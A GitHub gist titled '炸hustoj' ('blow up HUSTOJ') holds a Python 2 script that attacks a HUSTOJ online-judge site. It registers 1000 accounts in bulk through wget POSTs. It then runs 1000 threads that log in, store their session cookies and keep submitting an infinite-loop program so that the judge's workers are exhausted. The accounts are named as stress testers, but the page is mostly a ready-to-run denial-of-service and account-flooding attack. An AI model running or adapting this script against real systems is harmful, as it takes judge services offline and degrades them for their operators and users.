Skip to content

Instantly share code, notes, and snippets.

@Ruanxingzhi
Created May 18, 2017 11:49
Show Gist options
  • Save Ruanxingzhi/9f0caba5e2d8a690ae1e89bcfb92abba to your computer and use it in GitHub Desktop.
Save Ruanxingzhi/9f0caba5e2d8a690ae1e89bcfb92abba to your computer and use it in GitHub Desktop.
炸hustoj
# ----------- 批量注册 -----------
from os import system
def reg(i):
system('wget --post-data="user_id=stress_test%d&password=stress_tester&rptpassword=stress_tester&nick=压力测试者" http://example.com/JudgeOnline/register.php -O ww'%i)
for i in range(1000):
reg(i)
# ----------- 批量提交 -----------
import threading
from os import system
def action(arg):
print 'Begin : %s\r' %arg
system('wget --post-data="user_id=stress_test%d&password=stress_tester" http://example.com/JudgeOnline/login.php --save-cookies=cookies%d.txt --keep-session-cookies -O ww -q'%(arg,arg))
print("OK id=%d Saved cookie."%arg) # 存下cookie
for i in range(10):
print("<%d> start %d times."%(arg,i))
system('wget --post-data="id=1000&language=6&source=while(1):pass" http://example.com/JudgeOnline/submit.php --load-cookies=cookies%d.txt --keep-session-cookies -O ww -q'%arg)
system("sleep 11")
print("<%d> finish %d times."%(arg,i))
print ("Done : %s"%arg)
for i in xrange(1000):
t =threading.Thread(target=action,args=(i,))
t.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment